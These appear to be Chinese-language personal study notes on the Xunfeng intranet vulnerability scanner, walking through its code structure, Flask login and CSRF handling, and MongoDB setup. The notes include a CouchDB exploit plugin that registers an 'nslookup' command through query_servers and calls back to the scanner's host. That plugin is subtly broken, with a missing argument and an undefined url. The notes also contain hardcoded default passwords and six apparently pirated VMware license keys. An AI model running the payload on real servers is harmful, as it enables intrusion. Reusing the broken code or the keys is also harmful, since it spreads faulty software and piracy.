巡风是一款适用于企业内网的漏洞快速应急,巡航扫描系统。
查看内部网络资产分布 指定漏洞插件对搜索结果进行快速漏洞检测并输出结果报表
- 其主体分为两部分:网络资产识别引擎,漏洞检测引擎。
使用例子:
import urllib2
import random
import socket
def get_plugin_info(): # 插件描述信息
plugin_info = {
"name": "CouchDB未授权访问",
"info": "导致敏感信息泄露,攻击者可通过控制面板执行系统命令,导致服务器被入侵。",
"level": "高危",
"type": "未授权访问",
"author": "wolf@YSRC",
"url": "",
"keyword": "server:couchdb", # 推荐搜索关键字
}
def get_ver_ip(ip):
csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
csock.connect((ip, 80))
(addr, port) = csock.getsockname()
csock.close()
return addr
def random_str(len):
str1=""
for i in range(len):
str1+=(random.choice("ABCDEFGH1234567890"))
return str(str1)
def check(ip,port,timeout):
rand_str = random_str(8)
cmd = random_str(4)
server_ip = get_ver_ip()
req_list = [
["/_config/query_servers/%s"%(cmd),'"nslookup %s %s>log"'%(rand_str,server_ip)],
["/vultest123",''],
["/vultest123/test",'{"_id":"safetest"}']
]
for req_info in req_list:
try:
request = urllib2.Request(url+req_info[0],req_info[1],timeout=timeout)
request.get_method = lambda: 'PUT'
urllib2.urlopen(request)
except:
pass
try:
req_exec = urllib2.Request(url + "/vultest123/_temp_view?limit=11",'{"language":"%s","map":""}'%(cmd))
req_exec.add_header("Content-Type","application/json")
urllib2.urlopen(req_exec)
except:
pass
check = urllib2.urlopen("http://%s:8088/%s"%(server_ip,rand_str)).read()
if 'YES' in check:
return u"未授权访问"
========
一、添加IP
菜单“配置”--“网络资产探测列表”
二、设置资产探测周期
设置资产探测的扫描周期,
资产添加后大约等该40s之后到菜单“统计”处查看存活检查结果
当更新资产时须手动重启巡风相关服务。
再次执行sh Run.sh即可
三. 进行扫描
先进行查询
选中查询到的IP,并新增任务
任务的相关设置
最后单击保存任务提示“新增成功”
四、查看任务
菜单“任务”--单击新建的任务查看即可。
========
手动测试好使:
填入正确的masscan路径和资产范围
aider 这个目录是辅助验证的
db 数据库
dockerconf docker的配置
docs windows Linux docker环境下的使用文档
install .sh ,那应该就是Linux的安装时才使用到的文件夹了
masscan 里面存放的是根据不同操作系统选择不同的masscan的版本
nascan 资产探测相关的东西
venv 虚拟环境,这个是根据requirements.txt创建的虚拟安装
views 巡风的视图存放
vulscan 目录存放的是漏洞探测(其中包括打poc)
mogod.exe 用于启动mongodb
Run.py 启动web网站
Aider.py # 辅助验证脚本
VulScan.py # 漏洞检测引擎
NAScan.py # 网络资产信息抓取引擎
flask框架
注意视图函数的跳转,有的地方是不跳转的
- lib可以说是一个动态库
- lib 里面的 ___ init __.py是做初始化的工作( 空文件 )
-
在引用这个目录的文件之前,先执行这个 __ init __
-
AntiCSRF 巡风的csrf防御,
巡风对于csrf防御 用的是 加referer的形式
(csrf防御有两种机制,一种是加token,
一种是加referer,相对来说还是加token更安全一点,
毕竟referer是可以伪造的)
-- 判断referer的依据是,首先在一个request里面要有referer,
再有这个referer的格式化必须要跟服务器内的相等--
from functools import wraps
from flask import url_for, redirect, request
# 检查referer
def anticsrf(f):
@wraps(f)
def wrapper(*args, **kwargs):
try:
if request.referrer and request.referrer.replace('http://', '').split('/')[0] == request.host:
return f(*args, **kwargs)
else:
return redirect(url_for('NotFound'))
except Exception, e:
print e
return redirect(url_for('Error'))
return wrapper
- Conn.py 是连接mongdb的数据的文件
from pymongo import MongoClient
# 数据库连接
class MongoDB(object):
def __init__(self, host='localhost', port=27017, database='xunfeng', username='', password=''):
self.host = host
self.port = port
self.database = database
self.conn = MongoClient(self.host, self.port)
self.coll = self.conn[self.database]
self.coll.authenticate(username, password)
- Create_Excel.py 创建excel的脚本
# -*- coding: UTF-8 -*-
import xlwt
import StringIO
# 将数据保存成excel
def write_data(data, tname):
file = xlwt.Workbook(encoding='utf-8')
table = file.add_sheet(tname, cell_overwrite_ok=True)
l = 0
for line in data:
c = 0
for _ in line:
table.write(l, c, line[c])
c += 1
l += 1
sio = StringIO.StringIO()
file.save(sio)
return sio
# excel业务逻辑处理
def CreateTable(cursor, id):
item = []
item.append(['IP', '端口', '主机名', '风险等级', '漏洞描述', '插件类型', '任务名称', '时间', '扫描批次'])
for i in cursor:
if i['lastscan']:
_ = [i['ip'], i['port'], i['hostname'], i['vul_level'], i['info'],
i['vul_name'], i['title'], i['time'].strftime('%Y-%m-%d %H:%M:%S'),
i['lastscan'].strftime('%Y-%m-%d %H:%M:%S')]
else:
_ = [i['ip'], i['port'], i['hostname'], i['vul_level'], i['info'],
i['vul_name'], i['title'], i['time'].strftime('%Y-%m-%d %H:%M:%S'), '']
item.append(_)
file = write_data(item, id)
return file.getvalue()
- 最重要的是导入了一个xlwt这个库,
- 这个库在写文件的时候是整行整行的写
- StringIO与file对象非常像,但它不是磁盘上文件,而是一个内存里的“文件”,我们可以像操作磁盘文件那样来操作StringIO。
- def write_data()就是一个保存和写一个excel的操作,
create_table是excel里面写的操作。 - Login.py 这个用的是一个装饰器,就是限制有没有session的,
def logincheck(f):
@wraps(f)
def wrapper(*args, **kwargs):
try:
if session.has_key('login'):
if session['login'] == 'loginsuccess':
return f(*args, **kwargs)
else:
return redirect(url_for('Login'))
else:
return redirect(url_for('Login'))
except Exception, e:
print e
return redirect(url_for('Error'))
- QueryLogic,就是在首页点搜索的时候,要对数据进行处理,
import re
def mgo_text_split(query_text):
''' split text to support mongodb $text match on a phrase '''
sep = r'[`\-=~!@#$%^&*()_+\[\]{};\'\\:"|<,./<>?]'
word_lst = re.split(sep, query_text)
text_query = ' '.join('\"{}\"'.format(w) for w in word_lst)
return text_query
# 搜索逻辑
def querylogic(list):
query = {}
if len(list) > 1 or len(list[0].split(':')) > 1:
for _ in list:
if _.find(':') > -1:
q_key, q_value = _.split(':', 1)
if q_key == 'port':
query['port'] = int(q_value)
elif q_key == 'banner':
zhPattern = re.compile(u'[\u4e00-\u9fa5]+')
contents = q_value
match = zhPattern.search(contents)
# 如果没有中文用全文索引
if match:
query['banner'] = {"$regex": q_value, '$options': 'i'}
else:
text_query = mgo_text_split(q_value)
query['$text'] = {'$search': text_query, '$caseSensitive':True}
elif q_key == 'ip':
query['ip'] = {"$regex": q_value}
elif q_key == 'server':
query['server'] = q_value.lower()
elif q_key == 'title':
query['webinfo.title'] = {"$regex": q_value, '$options': 'i'}
elif q_key == 'tag':
query['webinfo.tag'] = q_value.lower()
elif q_key == 'hostname':
query['hostname'] = {"$regex": q_value, '$options': 'i'}
elif q_key == 'all':
filter_lst = []
for i in ('ip', 'banner', 'port', 'time', 'webinfo.tag', 'webinfo.title', 'server', 'hostname'):
filter_lst.append({i: {"$regex": q_value, '$options': 'i'}})
query['$or'] = filter_lst
else:
query[q_key] = q_value
else:
filter_lst = []
for i in ('ip', 'banner', 'port', 'time', 'webinfo.tag', 'webinfo.title', 'server', 'hostname'):
filter_lst.append({i: {"$regex": list[0], '$options': 'i'}})
query['$or'] = filter_lst
return query
-
如果用户输入的是port:22 ,分析下端口是22。这个要先根据 :分片
-
在进行检索的时候才会是知道port 22的所有结果
-
views.static 目录,这个目录就是把图片,css,js前端相关的一些东西
除了html都封装到这个目录里面了,这个是flask定义好的。 -
views.templates这个目录里面封装的是视图函数用到的所有html。
-
view.views 这个文件就是存放巡风所有的视图了。
-
视图可以理解为就是一个url链接。
@app.route('/login', methods=['get', 'post'])
def Login():
if request.method == 'GET':
return render_template('login.html')
else:
account = request.form.get('account')
password = request.form.get('password')
if account == app.config.get('ACCOUNT') and password == app.config.get('PASSWORD'):
session['login'] = 'loginsuccess'
return redirect(url_for('Search'))
else:
return redirect(url_for('Login'))
获取account,password然后判断一下是否跟config里面保存的ACCOUNT、PASSWORD一样
- config.py
# coding:utf-8
class Config(object):
ACCOUNT = 'admin'
PASSWORD = '123456'
class ProductionConfig(Config):
DB = '127.0.0.1'
PORT = 65521
DBUSERNAME = 'scan'
DBPASSWORD = 'scanlol66'
DBNAME = 'xunfeng'
因为是个人使用,所以在数据库里面没有创建一张用户表。
直接跟config里面的验证一下,然后session添加一个常量就可以了。
如果验证正确就重定向到Search,如果错误就重定向到Login里面。
- filter就是直接渲染一个search.html
@app.route('/filter')
@logincheck
def Search():
return render_template('search.html')
search.html里面中,除了这个搜索,
其他都是通过a标签的方式进行重定向,
就只有搜索功能是通过ajax,发送消息
假如搜索的是port : 22,那么结果就应该是
对应的就是这个视图
@app.route('/')
@logincheck
def Main():
q = request.args.get('q', '')
# 这里获取里两个参数,通过这样获取到搜索的条件进行查询
page = int(request.args.get('page', '1'))
plugin = Mongo.coll['Plugin'].find() # 插件列表
plugin_type = plugin.distinct('type') # 插件类型列表
if q: # 基于搜索条件显示结果
result = q.strip().split(';')
query = querylogic(result)
cursor = Mongo.coll['Info'].find(query).sort('time', -1).limit(page_size).skip((page - 1) * page_size)
return render_template('main.html', item=cursor, plugin=plugin, itemcount=cursor.count(),
plugin_type=plugin_type, query=q)
else: # 自定义,无任何结果,用户手工添加
return render_template('main.html', item=[], plugin=plugin, itemcount=0, plugin_type=plugin_type)
q是获取搜索的标签,
其中这个request.args.get()这个是可以好好研究研究的
基本上都是通过ajax方式给后端发送数据。
安装 python 解释器:
https://sec.ly.com/mirror/python-2.7.13.amd64.msi
python 依赖库
下载并安装 pip 工具, https://pypi.python.org/pypi/pip#downloads 下载完解压后执行:
python setup.py install
使用pip安装 python 依赖库, 这里使用了豆瓣的 pypi 源。
pip install -r requirements.txt -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com
因为我安装过Anaconda 因此有些依赖已经存在
安装数据库
下载: https://sec.ly.com/mirror/mongodb-win32-x86_64-2008plus-ssl-3.4.0-signed.msi
二、部署与配置
-
启动数据库
DBData为指定的数据库保存路径 需要新建一个DBData文件夹,写上DBData路径即可mongod.exe --port 65521 --dbpath DBData
-
mongodb 添加认证
可能需要等待时间长一点,耐心等待$ mongo 127.0.0.1:65521/xunfeng > db.createUser({user:'scan',pwd:'your password',roles:[{role:'dbOwner',db:'xunfeng'}]}) > exit
-
导入数据库
db 文件夹位于xunfeng代码目录中: 即下载下来的xunfeng文件中的db文件 db写成db的路径即可$ mongorestore.exe -h 127.0.0.1:65521 -d xunfeng db
导入后关闭mongod.exe进程
- 修改配置
修改系统数据库配置脚本 config.py:
class Config(object):
ACCOUNT = 'admin'
PASSWORD = 'xunfeng321'
修改 DBPASSWORD 字段内的密码, 设置成你的密码。
class ProductionConfig(Config):
DB = '127.0.0.1'
PORT = 65521
DBUSERNAME = 'scan'
DBPASSWORD = 'scanlol66'
DBNAME = 'xunfeng'
- 运行系统
根据实际情况修改 conifg.py 和 run.bat 文件后, 执行:
run.bat
run.bat文件:我把认证去掉了。
start mongod.exe --port 65521 --dbpath E:\yjs\MongoDB\DBdata
start python web.py
start python aider/aider.py
start python nascan/nascan.py
start python vulscan/vulscan.py
如何运行run.bat文件
我在bat文件上一层即xunfneg文件夹,按住shift 右键 选择 在此打开powershell 然后输入
./runbat
即可出现好几个命令窗口,并且不闪退即为成功。
输入在web.py文件中设置的 port和ip即可访问巡风
- python 3.7
Python 3.0以后的print都改为了print();
giehub 文档
1.1 操作系统依赖
- 解决 拖拽 传输卡的 问题
YG5H2-ANZ0H-M8ERY-TXZZZ-YKRV8
UG5J2-0ME12-M89WY-NPWXX-WQH88
UA5DR-2ZD4H-089FY-6YQ5T-YPRX6
GA590-86Y05-4806Y-X4PEE-ZV8E0
ZF582-0NW5N-H8D2P-0XZEE-Z22VA
YA18K-0WY8P-H85DY-L4NZG-X7RAD
- win10到1903,导致VMware版本不适配,更新到15.1以上就可以解决
# 存储
storage:
dbPath: /opt/mongodb423/data/
# 网络
net:
bindIp: 127.0.0.1
# 默认为27017
port: 11111
# 日志
systemLog:
destination: file
path: /opt/mongodb423/logs/mongodb423.log
logAppend: true
引用这篇
—
- docker安装
- apt install docker.io docker-compose -y